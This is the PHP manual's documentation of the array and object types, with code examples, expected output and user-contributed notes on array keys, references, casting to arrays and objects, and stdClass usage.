As of PHP 5.4 it is possible to array dereference the result of a function or method call directly. Before it was only possible using a temporary variable.

As of PHP 5.5 it is possible to array dereference an array literal.

Example #7 Array dereferencing

<?php
function getArray() {
    return array(1, 2, 3);
}

// on PHP 5.4
$secondElement = getArray()[1];

// previously
$tmp = getArray();
$secondElement = $tmp[1];

// or
list(, $secondElement) = getArray();
?>

Note:

Attempting to access an array key which has not been defined is the same as accessing any other undefined variable: an E_NOTICE-level error message will be issued, and the result will be NULL.

Creating/modifying with square bracket syntax

An existing array can be modified by explicitly setting values in it.

This is done by assigning values to the array, specifying the key in brackets. The key can also be omitted, resulting in an empty pair of brackets ([]).

$arr[key] = value;
$arr[] = value;
// key may be an integer or string
// value may be any value of any type

If $arr doesn't exist yet, it will be created, so this is also an alternative way to create an array. This practice is however discouraged because if $arr already contains some value (e.g. string from request variable) then this value will stay in the place and [] may actually stand for string access operator. It is always better to initialize variable by a direct assignment.

To change a certain value, assign a new value to that element using its key. To remove a key/value pair, call the unset() function on it.

<?php
$arr = array(5 => 1, 12 => 2);

$arr[] = 56;    // This is the same as $arr[13] = 56;
                // at this point of the script

$arr["x"] = 42; // This adds a new element to
                // the array with key "x"

unset($arr[5]); // This removes the element from the array

unset($arr);    // This deletes the whole array
?>

Note:

As mentioned above, if no key is specified, the maximum of the existing integer indices is taken, and the new key will be that maximum value plus 1 (but at least 0). If no integer indices exist yet, the key will be 0 (zero).

Note that the maximum integer key used for this need not currently exist in the array. It need only have existed in the array at some time since the last time the array was re-indexed. The following example illustrates:

<?php
// Create a simple array.
$array = array(1, 2, 3, 4, 5);
print_r($array);

// Now delete every item, but leave the array itself intact:
foreach ($array as $i => $value) {
    unset($array[$i]);
}
print_r($array);

// Append an item (note that the new key is 5, instead of 0).
$array[] = 6;
print_r($array);

// Re-index:
$array = array_values($array);
$array[] = 7;
print_r($array);
?>

The above example will output:

Array
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
    [4] => 5
)
Array
(
)
Array
(
    [5] => 6
)
Array
(
    [0] => 6
    [1] => 7
)

Useful functions

There are quite a few useful functions for working with arrays. See the array functions section.

Note:

The unset() function allows removing keys from an array. Be aware that the array will not be reindexed. If a true "remove and shift" behavior is desired, the array can be reindexed using the array_values() function.

<?php
$a = array(1 => 'one', 2 => 'two', 3 => 'three');
unset($a[2]);
/* will produce an array that would have been defined as
   $a = array(1 => 'one', 3 => 'three');
   and NOT
   $a = array(1 => 'one', 2 =>'three');
*/

$b = array_values($a);
// Now $b is array(0 => 'one', 1 =>'three')
?>

The foreach control structure exists specifically for arrays. It provides an easy way to traverse an array.

Array do's and don'ts

Why is $foo[bar] wrong?

Always use quotes around a string literal array index. For example, $foo['bar'] is correct, while $foo[bar] is not. But why? It is common to encounter this kind of syntax in old scripts:

<?php
$foo[bar] = 'enemy';
echo $foo[bar];
// etc
?>

This is wrong, but it works. The reason is that this code has an undefined constant (bar) rather than a string ('bar' - notice the quotes). PHP may in the future define constants which, unfortunately for such code, have the same name. It works because PHP automatically converts a bare string (an unquoted string which does not correspond to any known symbol) into a string which contains the bare string. For instance, if there is no defined constant named bar, then PHP will substitute in the string 'bar' and use that.

Note: This does not mean to always quote the key. Do not quote keys which are constants or variables, as this will prevent PHP from interpreting them.

<?php
error_reporting(E_ALL);
ini_set('display_errors', true);
ini_set('html_errors', false);
// Simple array:
$array = array(1, 2);
$count = count($array);
for ($i = 0; $i < $count; $i++) {
    echo "\nChecking $i: \n";
    echo "Bad: " . $array['$i'] . "\n";
    echo "Good: " . $array[$i] . "\n";
    echo "Bad: {$array['$i']}\n";
    echo "Good: {$array[$i]}\n";
}
?>

The above example will output:

Checking 0:
Notice: Undefined index:  $i in /path/to/script.html on line 9
Bad:
Good: 1
Notice: Undefined index:  $i in /path/to/script.html on line 11
Bad:
Good: 1

Checking 1:
Notice: Undefined index:  $i in /path/to/script.html on line 9
Bad:
Good: 2
Notice: Undefined index:  $i in /path/to/script.html on line 11
Bad:
Good: 2

More examples to demonstrate this behaviour:

<?php
// Show all errors
error_reporting(E_ALL);

$arr = array('fruit' => 'apple', 'veggie' => 'carrot');

// Correct
print $arr['fruit'];  // apple
print $arr['veggie']; // carrot

// Incorrect.  This works but also throws a PHP error of level E_NOTICE because
// of an undefined constant named fruit
//
// Notice: Use of undefined constant fruit - assumed 'fruit' in...
print $arr[fruit];    // apple

// This defines a constant to demonstrate what's going on.  The value 'veggie'
// is assigned to a constant named fruit.
define('fruit', 'veggie');

// Notice the difference now
print $arr['fruit'];  // apple
print $arr[fruit];    // carrot

// The following is okay, as it's inside a string. Constants are not looked for
// within strings, so no E_NOTICE occurs here
print "Hello $arr[fruit]";      // Hello apple

// With one exception: braces surrounding arrays within strings allows constants
// to be interpreted
print "Hello {$arr[fruit]}";    // Hello carrot
print "Hello {$arr['fruit']}";  // Hello apple

// This will not work, and will result in a parse error, such as:
// Parse error: parse error, expecting T_STRING' or T_VARIABLE' or T_NUM_STRING'
// This of course applies to using superglobals in strings as well
print "Hello $arr['fruit']";
print "Hello $_GET['foo']";

// Concatenation is another option
print "Hello " . $arr['fruit']; // Hello apple
?>

When error_reporting is set to show E_NOTICE level errors (by setting it to E_ALL, for example), such uses will become immediately visible. By default, error_reporting is set not to show notices.

As stated in the syntax section, what's inside the square brackets ('[' and ']') must be an expression. This means that code like this works:

<?php
echo $arr[somefunc($bar)];
?>

This is an example of using a function return value as the array index. PHP also knows about constants:

<?php
$error_descriptions[E_ERROR]   = "A fatal error has occurred";
$error_descriptions[E_WARNING] = "PHP issued a warning";
$error_descriptions[E_NOTICE]  = "This is just an informal notice";
?>

Note that E_ERROR is also a valid identifier, just like bar in the first example. But the last example is in fact the same as writing:

<?php
$error_descriptions[1] = "A fatal error has occurred";
$error_descriptions[2] = "PHP issued a warning";
$error_descriptions[8] = "This is just an informal notice";
?>

because E_ERROR equals 1, etc.

So why is it bad then?

At some point in the future, the PHP team might want to add another constant or keyword, or a constant in other code may interfere. For example, it is already wrong to use the words empty and default this way, since they are reserved keywords.

Note: To reiterate, inside a double-quoted string, it's valid to not surround array indexes with quotes so "$foo[bar]" is valid. See the above examples for details on why as well as the section on variable parsing in strings.

Converting to array

For any of the types: integer, float, string, boolean and resource, converting a value to an array results in an array with a single element with index zero and the value of the scalar which was converted. In other words, (array)$scalarValue is exactly the same as array($scalarValue).

If an object is converted to an array, the result is an array whose elements are the object's properties. The keys are the member variable names, with a few notable exceptions: integer properties are unaccessible; private variables have the class name prepended to the variable name; protected variables have a '*' prepended to the variable name. These prepended values have null bytes on either side. This can result in some unexpected behaviour:

<?php

class A {
    private $A; // This will become '\0A\0A'
}

class B extends A {
    private $A; // This will become '\0B\0A'
    public $AA; // This will become 'AA'
}

var_dump((array) new B());
?>

The above will appear to have two keys named 'AA', although one of them is actually named '\0A\0A'.

Converting NULL to an array results in an empty array.

Comparing

It is possible to compare arrays with the array_diff() function and with array operators.

Examples

The array type in PHP is very versatile. Here are some examples:

<?php
// This:
$a = array( 'color' => 'red',
            'taste' => 'sweet',
            'shape' => 'round',
            'name'  => 'apple',
            4        // key will be 0
          );

$b = array('a', 'b', 'c');

// . . .is completely equivalent with this:
$a = array();
$a['color'] = 'red';
$a['taste'] = 'sweet';
$a['shape'] = 'round';
$a['name']  = 'apple';
$a[]        = 4;        // key will be 0

$b = array();
$b[] = 'a';
$b[] = 'b';
$b[] = 'c';

// After the above code is executed, $a will be the array
// array('color' => 'red', 'taste' => 'sweet', 'shape' => 'round',
// 'name' => 'apple', 0 => 4), and $b will be the array
// array(0 => 'a', 1 => 'b', 2 => 'c'), or simply array('a', 'b', 'c').
?>

Example #8 Using array()

<?php
// Array as (property-)map
$map = array( 'version'    => 4,
              'OS'         => 'Linux',
              'lang'       => 'english',
              'short_tags' => true
            );

// strictly numerical keys
$array = array( 7,
                8,
                0,
                156,
                -10
              );
// this is the same as array(0 => 7, 1 => 8, ...)

$switching = array(         10, // key = 0
                    5    =>  6,
                    3    =>  7,
                    'a'  =>  4,
                            11, // key = 6 (maximum of integer-indices was 5)
                    '8'  =>  2, // key = 8 (integer!)
                    '02' => 77, // key = '02'
                    0    => 12  // the value 10 will be overwritten by 12
                  );

// empty array
$empty = array();
?>

Example #9 Collection

<?php
$colors = array('red', 'blue', 'green', 'yellow');

foreach ($colors as $color) {
    echo "Do you like $color?\n";
}

?>

The above example will output:

Do you like red?
Do you like blue?
Do you like green?
Do you like yellow?

Changing the values of the array directly is possible since PHP 5 by passing them by reference. Before that, a workaround is necessary:

Example #10 Changing element in the loop

<?php
// PHP 5
foreach ($colors as &$color) {
    $color = strtoupper($color);
}
unset($color); /* ensure that following writes to
$color will not modify the last array element */

// Workaround for older versions
foreach ($colors as $key => $color) {
    $colors[$key] = strtoupper($color);
}

print_r($colors);
?>

The above example will output:

Array
(
    [0] => RED
    [1] => BLUE
    [2] => GREEN
    [3] => YELLOW
)

This example creates a one-based array.

Example #11 One-based index

<?php
$firstquarter  = array(1 => 'January', 'February', 'March');
print_r($firstquarter);
?>

The above example will output:

Array
(
    [1] => 'January'
    [2] => 'February'
    [3] => 'March'
)

Example #12 Filling an array

<?php
// fill an array with all items from a directory
$handle = opendir('.');
while (false !== ($file = readdir($handle))) {
    $files[] = $file;
}
closedir($handle);
?>

Arrays are ordered. The order can be changed using various sorting functions. See the array functions section for more information. The count() function can be used to count the number of items in an array.

Example #13 Sorting an array

<?php
sort($files);
print_r($files);
?>

Because the value of an array can be anything, it can also be another array. This enables the creation of recursive and multi-dimensional arrays.

Example #14 Recursive and multi-dimensional arrays

<?php
$fruits = array ( "fruits"  => array ( "a" => "orange",
                                       "b" => "banana",
                                       "c" => "apple"
                                     ),
                  "numbers" => array ( 1,
                                       2,
                                       3,
                                       4,
                                       5,
                                       6
                                     ),
                  "holes"   => array (      "first",
                                       5 => "second",
                                            "third"
                                     )
                );

// Some examples to address values in the array above
echo $fruits["holes"][5];    // prints "second"
echo $fruits["fruits"]["a"]; // prints "orange"
unset($fruits["holes"][0]);  // remove "first"

// Create a new multi-dimensional array
$juices["apple"]["green"] = "good";
?>

Array assignment always involves value copying. Use the reference operator to copy an array by reference.

<?php
$arr1 = array(2, 3);
$arr2 = $arr1;
$arr2[] = 4; // $arr2 is changed,
             // $arr1 is still array(2, 3)

$arr3 = &$arr1;
$arr3[] = 4; // now $arr1 and $arr3 are the same
?>

User Contributed Notes

ianodebe at yahoo dot com 12-Oct-2014 10:25
Pls I am having issues with this //

$questions = array("How many states are there in Nigeria",
                "What is the capital city of Anambra state",
                "What year was Nigeria amalgamated"
                 );

$answers = array(
    array(20, 39, 36, 40),
     array( "Awka", "Aniocha", "Ogidi", "Owerri"),
     array( "1940", "1914", "1960", "1941")
    );

how can i print the data in this form ..

1. How many states are there in your country
21
59
36
30

2. What is the capital city of Anambra state Awka
Aniocha
Ogidi
Owerri

3. What year was Nigeria amalgamated 1940
1914
1960
1941
mathiasgrimm at gmail dot com 30-Sep-2014 01:20
<?php

$a['a'] = null;
$a['b'] = array();

echo $a['a']['non-existent']; // DOES NOT throw an E_NOTICE error as expected.

echo $a['b']['non-existent']; // throws an E_NOTICE as expected
?>

I added this bug to bugs.php.net (https://bugs.php.net/bug.php?id=68110)
however I made tests with php4, 5.4 and 5.5 versions and all behave the same way.

This, in my point of view, should be cast to an array type and throw the same error.

This is, according to the documentation on this page, wrong.

From doc:
"Note:
Attempting to access an array key which has not been defined is the same as accessing any other undefined variable: an E_NOTICE-level error message will be issued, and the result will be NULL."
Ray.Paseur often uses Gmail 15-Jul-2014 06:06
Array-to-String conversion by assignment or by using an array in a string context gives a string of data that contains only the word, 'Array' and this data substitution often occurs silently.  This happens because the standard PHP installation suppresses Notice-level messages, and the array-to-string conversion, even though it causes data loss, is only considered a Notice condition.  Here is how to discern what PHP is doing.
http://php.net/manual/en/language.types.array.php
http://php.net/manual/en/language.types.string.php#language.types.string.casting

<?php // demo/array_to_string.php
/**
 * Starting with the default standard error-level of E_ALL ~ E_NOTICE
 * OUTPUTS:
 * Array
 */
$xyz = array('X', 'Y', 'Z');
echo $xyz;

/**
 * Setting the error-level of E_ALL causes Notice messages to appear
 * OUTPUTS:
 * Notice: Array to string conversion in /path/to/demo/array_to_string.php on line XXX
 * Array
 */
error_reporting(E_ALL);
$xyz = array('X', 'Y', 'Z');
echo $xyz;
ffe 23-Jan-2014 11:39
<?php

error_reporting(E_ALL);

$res=42;

echo("+".$res[0]."+".$res[10]."+");

$res[0]=1;

?>

The last line correctly states "Warning: Cannot use a scalar value as an array", but the echo produces +++ as output with no warning. This seems strange to me.
brta dot akos at gmail dot com 10-Jan-2014 10:45
Why not to user one-based arrays:

<?php
$a  = array(1 => 'a', 'b', 'd');
print_r($a);
array_splice($a,2,0,'c');
print_r($a);
?>

output:
Array ( [1] => a [2] => b [3] => d ) Array ( [0] => a [1] => b [2] => c [3] => d )
note dot php dot lorriman at spamgourmet dot org 10-Jan-2014 12:01
There is another kind of array (php>=  5.3.0) produced by

$array = new SplFixedArray(5);

Standard arrays, as documented here, are marvellously flexible and, due to the underlying hashtable, extremely fast for certain kinds of lookup operation.

Supposing a large string-keyed array

$arr=['string1'=>$data1, 'string2'=>$data2 etc....]

when getting the keyed data with

$data=$arr['string1'];

php does *not* have to search through the array comparing each key string to the given key ('string1') one by one, which could take a long time with a large array. Instead the hashtable means that php takes the given key string and computes from it the memory location of the keyed data, and then instantly retrieves the data. Marvellous! And so quick. And no need to know anything about hashtables as it's all hidden away.

However, there is a lot of overhead in that. It uses lots of memory, as hashtables tend to (also nearly doubling on a 64bit server), and should be significantly slower for integer keyed arrays than old-fashioned (non-hashtable) integer-keyed arrays. For that see more on SplFixedArray :

http://uk3.php.net/SplFixedArray

Unlike a standard php (hashtabled) array, if you lookup by integer then the integer itself denotes the memory location of the data, no hashtable computation on the integer key needed. This is much quicker. It's also quicker to build the array compared to the complex operations needed for hashtables. And it uses a lot less memory as there is no hashtable data structure. This is really an optimisation decision, but in some cases of large integer keyed arrays it may significantly reduce server memory and increase performance (including the avoiding of expensive memory deallocation of hashtable arrays at the exiting of the script).
azuleta at eycambiental dot com 19-Sep-2013 02:42
I think there's a mistake in the las example:
...'<?php
$arr1 = array(2, 3);
$arr2 = $arr1;
$arr2[] = 4; // $arr2 ha cambiado,
             // $arr1 sigue siendo array(2, 3)

$arr3 = &$arr1;
$arr3[] = 4; // ahora $arr1 y $arr3 son iguales
?>'

I think it should be: ...'ahora $arr2 y $arr3 son iguales'...

Thanks.
ivegner at yandex dot ru 28-Aug-2013 05:43
Note that objects of classes extending ArrayObject SPL class are treated as arrays, and not as objects when converting to array.

<?php
class ArrayObjectExtended extends ArrayObject
{
    private $private = 'private';
    public $hello = 'world';
}

$object = new ArrayObjectExtended();
$array = (array) $object;

// This will not expose $private and $hello properties of $object,
// but return an empty array instead.
var_export($array);
?>
harry at ddtechnologies dot com 26-Jun-2013 05:23
PHP array_diff_assoc() Function

You can compare the keys and values of two arrays, and return the differences:

<?php
 $a1=array("red","green","blue","yellow");
$a2=array("red","green","blue");

$result=array_diff_assoc($a1,$a2);
print_r($result);
?>

http://www.show-ip.org
chris at ocportal dot com 28-May-2013 06:01
Note that array value buckets are reference-safe, even through serialization.

<?php
$x='initial';
$test=array('A'=>&$x,'B'=>&$x);
$test=unserialize(serialize($test));
$test['A']='changed';
echo $test['B']; // Outputs "changed"
?>

This can be useful in some cases, for example saving RAM within complex structures.
gtisza at gmail dot com 12-Feb-2013 11:17
Be very careful when using a result as an array. <?php echo $a['foo']['bar']['baz'] ?> will throw an error if $a is an object, and throw a warning if $a is an array but does not have the right keys, but it will silently return true if $a is null or boolean or int, and if $a is a string, it will return its first character. (This is true even with E_STRICT set.) This can be a major gotcha with functions which return null or false if they are unsuccessful.
cromney at pointslope dot com 04-Oct-2012 12:49
One thing to be careful of is making any assumptions about the underlying implementation with respect to performance. For example, the documentation talks about hash-maps, which might lead you to expect O(1) key lookups.

<?php

function find_val($n) {
  $t = array();
  $last = null;

  for ($x = 0; $x < $n; $x++) {
    $last = "" . $x;
    $t[] = $last;
  }

  var_dump(in_array($last, $t));
}

function find_key($n) {
  $t = array();
  $last = null;

  for ($x = 0; $x < $n; $x++) {
    $last = "" . $x;
    $t[$last] = true;
  }

  var_dump(array_key_exists($last, $t));
}

$n = 1600000;

find_val($n);
// Time taken: 1123ms

find_key($n);
// Time taken: 803

/*

Additional Timings:

n        find_val(ms)  find_key(ms)
100000   99             82
200000   169            130
400000   301            217
800000   570            416
1600000  1123           803

*/
?>

In my tests, both in_array and array_key_exists exhibited the same order of growth.
martijntje at martijnotto dot nl 29-Mar-2012 04:48
Please note that adding the magic __toString() method to your objects will not allow you to seek an array with it, it still throws an Illegal Offset warning.

The solution is to cast it to a string first, like this

$array[(string) $stringableObject]
mlvljr 20-May-2011 03:37
please note that when arrays are copied, the "reference status" of their members is preserved (http://www.php.net/manual/en/language.references.whatdo.php).
Walter Tross 12-Aug-2010 08:04
It is true that "array assignment always involves value copying", but the copy is a "lazy copy". This means that the data of the two variables occupy the same memory as long as no array element changes.

E.g., if you have to pass an array to a function that only needs to read it, there is no advantage at all in passing it by reference.
ken underscore yap atsign email dot com 09-Jan-2008 05:00
"If you convert a NULL value to an array, you get an empty array."

This turns out to be a useful property. Say you have a search function that returns an array of values on success or NULL if nothing found.

<?php $values = search(...); ?>

Now you want to merge the array with another array. What do we do if $values is NULL? No problem:

<?php $combined = array_merge((array)$values, $other); ?>

Voila.
carl at linkleaf dot com 06-Sep-2007 08:36
Its worth noting that there does not appear to be any functional limitations on the length or content of string indexes. The string indexes for your arrays can contain any characters, including new line characters, and can be of any length:

<?php

$key = "XXXXX";
$test = array($key => "test5");

for ($x = 0; $x < 500; $x++) {
  $key .= "X";
  $value = "test" . strlen($key);
  $test[$key] = $value;
}

echo "<pre>";
print_r($test);
echo "</pre>";

?>

Keep in mind that using extremely long array indexes is not a good practice and could cost you lots of extra CPU time. However, if you have to use a long string as an array index you won't have to worry about the length or content.
Spudley 16-Mar-2007 10:44
On array recursion...

Given the following code:

<?php
$myarray = array('test',123);
$myarray[] = &$myarray;
print_r($myarray);
?>

The print_r() will display *RECURSION* when it gets to the third element of the array.

There doesn't appear to be any other way to scan an array for recursive references, so if you need to check for them, you'll have to use print_r() with its second parameter to capture the output and look for the word *RECURSION*.

It's not an elegant solution, but it's the only one I've found, so I hope it helps someone.
25-Oct-2006 06:18
This page should include details about how associative arrays are implemened inside PHP; e.g. using hash-maps or b-trees.

This has important implictions on the permance characteristics of associative arrays and how they should be used; e.g. b-tree are slow to insert but handle collisions better than hashmaps.  Hashmaps are faster if there are no collisions, but are slower to retrieve when there are collisions.  These factors have implictions on how associative arrays should be used.
ia [AT] zoznam [DOT] sk 30-Sep-2005 11:55
Regarding the previous comment, beware of the fact that reference to the last value of the array remains stored in $value after the foreach:

<?php
foreach ( $arr as $key => &$value )
{
    $value = 1;
}

// without next line you can get bad results...
//unset( $value );

$value = 159;
?>

Now the last element of $arr has the value of '159'. If we remove the comment in the unset() line, everything works as expected ($arr has all values of '1').

Bad results can also appear in nested foreach loops (the same reason as above).

So either unset $value after each foreach or better use the longer form:

<?php
foreach ( $arr as $key => $value )
{
    $arr[ $key ] = 1;
}
?>
caifara aaaat im dooaat be 28-Aug-2005 11:28
[Editor's note: You can achieve what you're looking for by referencing $single, rather than copying it by value in your foreach statement. See http://php.net/foreach for more details.]

Don't know if this is known or not, but it did eat some of my time and maybe it won't eat your time now...

I tried to add something to a multidimensional array, but that didn't work at first, look at the code below to see what I mean:

<?php

$a1 = array( "a" => 0, "b" => 1 );
$a2 = array( "aa" => 00, "bb" => 11 );

$together = array( $a1, $a2 );

foreach( $together as $single ) {
    $single[ "c" ] = 3 ;
}

print_r( $together );
/* nothing changed result is:
Array
(
    [0] => Array
        (
            [a] => 0
            [b] => 1
        )
    [1] => Array
        (
            [aa] => 0
            [bb] => 11
        )
) */

foreach( $together as $key => $value ) {
    $together[$key]["c"] = 3 ;
}

print_r( $together );

/* now it works, this prints
Array
(
    [0] => Array
        (
            [a] => 0
            [b] => 1
            [c] => 3
        )
    [1] => Array
        (
            [aa] => 0
            [bb] => 11
            [c] => 3
        )
)
*/

?>
jeff splat codedread splot com 21-Apr-2005 06:16
Beware that if you're using strings as indices in the $_POST array, that periods are transformed into underscores:

<html>
<body>
<?php
    printf("POST: "); print_r($_POST); printf("<br/>");
?>
<form method="post" action="<?php echo $_SERVER['PHP_SELF']; ?>">
    <input type="hidden" name="Windows3.1" value="Sux">
    <input type="submit" value="Click" />
</form>
</body>
</html>

Once you click on the button, the page displays the following:

POST: Array ( [Windows3_1] => Sux )
lars-phpcomments at ukmix dot net 28-Mar-2005 05:40
Used to creating arrays like this in Perl?

@array = ("All", "A".."Z");

Looks like we need the range() function in PHP:

<?php
$array = array_merge(array('All'), range('A', 'Z'));
?>

You don't need to array_merge if it's just one range:

<?php
$array = range('A', 'Z');
?>


Objects

Object Initialization

To create a new object, use the new statement to instantiate a class:

<?php
class foo
{
    function do_foo()
    {
        echo "Doing foo.";
    }
}

$bar = new foo;
$bar->do_foo();
?>

For a full discussion, see the Classes and Objects chapter.

Converting to object

If an object is converted to an object, it is not modified. If a value of any other type is converted to an object, a new instance of the stdClass built-in class is created. If the value was NULL, the new instance will be empty. Arrays convert to an object with properties named by keys, and corresponding values. For any other value, a member variable named scalar will contain the value.

<?php
$obj = (object) 'ciao';
echo $obj->scalar;  // outputs 'ciao'
?>

User Contributed Notes

Ashley Dambra 21-Feb-2014 03:38
Here a new updated version of 'stdObject' class. It's very useful when extends to controller on MVC design pattern, user can create it's own class.

Hope it help you.

 <?php
class stdObject {
    public function __construct(array $arguments = array()) {
        if (!empty($arguments)) {
            foreach ($arguments as $property => $argument) {
                $this->{$property} = $argument;
            }
        }
    }

    public function __call($method, $arguments) {
        $arguments = array_merge(array("stdObject" => $this), $arguments); // Note: method argument 0 will always referred to the main class ($this).
        if (isset($this->{$method}) && is_callable($this->{$method})) {
            return call_user_func_array($this->{$method}, $arguments);
        } else {
            throw new Exception("Fatal error: Call to undefined method stdObject::{$method}()");
        }
    }
}

// Usage.

$obj = new stdObject();
$obj->name = "Nick";
$obj->surname = "Doe";
$obj->age = 20;
$obj->adresse = null;

$obj->getInfo = function($stdObject) { // $stdObject referred to this object (stdObject).
    echo $stdObject->name . " " . $stdObject->surname . " have " . $stdObject->age . " yrs old. And live in " . $stdObject->adresse;
};

$func = "setAge";
$obj->{$func} = function($stdObject, $age) { // $age is the first parameter passed when calling this method.
    $stdObject->age = $age;
};

$obj->setAge(24); // Parameter value 24 is passing to the $age argument in method 'setAge()'.

// Create dynamic method. Here i'm generating getter and setter dynimically
// Beware: Method name are case sensitive.
foreach ($obj as $func_name => $value) {
    if (!$value instanceOf Closure) {

        $obj->{"set" . ucfirst($func_name)} = function($stdObject, $value) use ($func_name) {  // Note: you can also use keyword 'use' to bind parent variables.
            $stdObject->{$func_name} = $value;
        };

        $obj->{"get" . ucfirst($func_name)} = function($stdObject) use ($func_name) {  // Note: you can also use keyword 'use' to bind parent variables.
            return $stdObject->{$func_name};
        };

    }
}

$obj->setName("John");
$obj->setAdresse("Boston");

$obj->getInfo();
?>
Ashley Dambra 20-Feb-2014 03:51
Class like stdClass but with the possibility to add and execute function.

class stdObject {
    public function __construct(array $arguments = array()) {
        if (!empty($arguments)) {
            foreach ($arguments as $property => $argument) {
                if ($argument instanceOf Closure) {
                    $this->{$property} = $argument;
                } else {
                    $this->{$property} = $argument;
                }
            }
        }
    }

    public function __call($method, $arguments) {
        if (isset($this->{$method}) && is_callable($this->{$method})) {
            return call_user_func_array($this->{$method}, $arguments);
        } else {
            throw new Exception("Fatal error: Call to undefined method stdObject::{$method}()");
        }
    }
}
wyattstorch42 at outlook dot com 01-Jan-2014 02:07
If you call var_export() on an instance of stdClass, it attempts to export it using ::__set_state(), which, for some reason, is not implemented in stdClass.

However, casting an associative array to an object usually produces the same effect (at least, it does in my case). So I wrote an improved_var_export() function to convert instances of stdClass to (object) array () calls. If you choose to export objects of any other class, I'd advise you to implement ::__set_state().

<?php
/**
 * An implementation of var_export() that is compatible with instances
 * of stdClass.
 * @param mixed $variable The variable you want to export
 * @param bool $return If used and set to true, improved_var_export()
 *     will return the variable representation instead of outputting it.
 * @return mixed|null Returns the variable representation when the
 *     return parameter is used and evaluates to TRUE. Otherwise, this
 *     function will return NULL.
 */
function improved_var_export ($variable, $return = false) {
    if ($variable instanceof stdClass) {
        $result = '(object) '.improved_var_export(get_object_vars($variable), true);
    } else if (is_array($variable)) {
        $array = array ();
        foreach ($variable as $key => $value) {
            $array[] = var_export($key, true).' => '.improved_var_export($value, true);
        }
        $result = 'array ('.implode(', ', $array).')';
    } else {
        $result = var_export($variable, true);
    }

    if (!$return) {
        print $result;
        return null;
    } else {
        return $result;
    }
}

// Example usage:
$obj = new stdClass;
$obj->test = 'abc';
$obj->other = 6.2;
$obj->arr = array (1, 2, 3);

improved_var_export((object) array (
    'prop1' => true,
    'prop2' => $obj,
    'assocArray' => array (
        'apple' => 'good',
        'orange' => 'great'
    )
));

/* Output:
(object) array ('prop1' => true, 'prop2' => (object) array ('test' => 'abc', 'other' => 6.2, 'arr' => array (0 => 1, 1 => 2, 2 => 3)), 'assocArray' => array ('apple' => 'good', 'orange' => 'great'))
*/
?>

Note: This function spits out a single line of code, which is useful to save in a cache file to include/eval. It isn't formatted for readability. If you want to print a readable version for debugging purposes, then I would suggest print_r() or var_dump().
qeremy [atta] gmail [dotta] com 02-Mar-2012 09:41
Do you remember some JavaScript implementations?

// var timestamp = (new Date).getTime();

Now it's possible with PHP 5.4.*;

<?php
class Foo
{
    public $a = "I'm a!";
    public $b = "I'm b!";
    public $c;

    public function getB() {
        return $this->b;
    }

    public function setC($c) {
        $this->c = $c;
        return $this;
    }

    public function getC() {
        return $this->c;
    }
}

print (new Foo)->a;      // I'm a!
print (new Foo)->getB(); // I'm b!
?>

or

<?php
// $_GET["c"] = "I'm c!";
print (new Foo)
       ->setC($_GET["c"])
       ->getC(); // I'm c!
?>
helpful at stranger dot com 04-Jan-2012 10:15
By far the easiest and correct way to instantiate an empty generic php object that you can then modify for whatever purpose you choose:

<?php $genericObject = new stdClass(); ?>

I had the most difficult time finding this, hopefully it will help someone else!
razvan_zarzu at yahoo dot com 19-Oct-2011 04:46
In PHP 5.3.6, even if the following code doesn't have any apparent syntax errors:

<?php
class Test {
  public $a = SplFixedArray::fromArray(array());
}
?>

, the result is:

Parse error: syntax error, unexpected '(', expecting ',' or ';' in ~\test.php on line 3

This is because on an implicit object initialization of $a, which is not allowed in PHP.
Hope this helps someone.
Cosmitar: mhherrera31 at hotmail 08-Dec-2010 07:47
i would like to share a curious behavior on casted objects. Casting an object from a class with private/protected attributes results a stdClass with a private/protected attribute for get.
Example:
<?PHP
class Foo{
 private $priv = 1;
 public $pub = 2;
 public function getSimple(){
  return (object)(array) $this; //the array cast is to force a stdClass result
 }
}
$bar = new Foo();
var_dump($bar->getSimple();// output: object(stdClass)#3 (2) { ["priv:private"]=> int(1) ["pub"]=> int(2) }

var_dump($bar->getSimple()->priv);// output: NULL, not a Fatal Error
var_dump($bar->getSimple()->pub);// output: int(2)

$barSimple = $bar->getSimple();
$barSimple->priv = 10;
var_dump($barSimple->priv);// output: int(10)

?>
Anonymous 05-Jan-2010 11:10
Initialization, Instantiation and Instances are terms that can be confusing at first. Let's try to sort it out starting with this simple class definition.

<?php

class User
{
  public $first_name;
  public $last_name;

  public function __toString()
  {
    return "User [first='$this->first_name', last='$this->last_name']";
  }
}

?>

Now create several INSTANCES of User by INSTANTIATING the User class above.

<?php
$user_1 = new User;        // $user_1 is an INSTANCE of User
$user_2 = new User;        // $user_2 is an INSTANCE of User
echo $user_1 . '<br>';     // User [first='', last='']
echo $user_2 . '<br>';     // User [first='', last='']
?>

Here we have (2) two INSTANCES of User, but each instance was only INSTANTIATED once - when we used the 'new' operator.

And now looking at the printed output, you can see there are no values for their first or last names. This means that the objects themselves have NOT been INITIALIZED. To remedy this situation, rewrite the class definition by adding a __construct() method.

<?php

class User
{
  public $first_name;
  public $last_name;

  public function __construct($first, $last)    // Require first and last names when INSTANTIATING
  {
    $this->first_name = $first;                 // INITIALIZE $first_name;
    $this->last_name = $last;                   // INITIALIZE $last_name;
  }

  public function __toString()
  {
    return "User [first='$this->first_name', last='$this->last_name']";
  }
}

?>

Now try it again.

<?php
$user_1 = new User('John', 'Doe');      // $user_i is an INSTANCE of User
$user_2 = new User('Jane', 'Doe');      // $user_2 is an INSTANCE of User
echo $user_1 . '<br>';                  // prints: User [first='John', last='Doe']
echo $user_2 . '<br>';                  // prints: User [first='Jane', last='Doe']
?>

The __construct() method is called automatically by PHP when it sees the 'new' operator. Our __construct() method above requires the first and last names to be passed in as arguments and uses them to INITIALIZE objects when INSTANTIATING new INSTANCES.
mailto dot aurelian at gmail dot com 18-Dec-2009 06:56
You can create [recursive] objects with something like:
<?php
  $literalObjectDeclared = (object) array(
     'foo' => (object) array(
          'bar' => 'baz',
          'pax' => 'vax'
      ),
      'moo' => 'ui'
   );
print $literalObjectDeclared->foo->bar; // outputs "baz"!
?>
spidgorny at gmail dot com 22-Jul-2009 10:58
If having

class BugDetails extends Bug

you want to cast an object of a Bug to BugDetails like this
<?php
    $clone = (BugDetails) clone $this;
// OR
    $clone = (BugDetails) $bug;
?>
which doesn't work in PHP, you have two options:
1. Copying all (including private) properties manually (you could also use get_object_vars(), but this is shorter):
<?php
    $clone = new BugDetails();
    foreach ($this as $key => $val) {
        $clone->$key = $val;
    }
?>
2. Serialize an object Bug, manipulate the resulting string so that it has BugDetails inside and unserialize it.
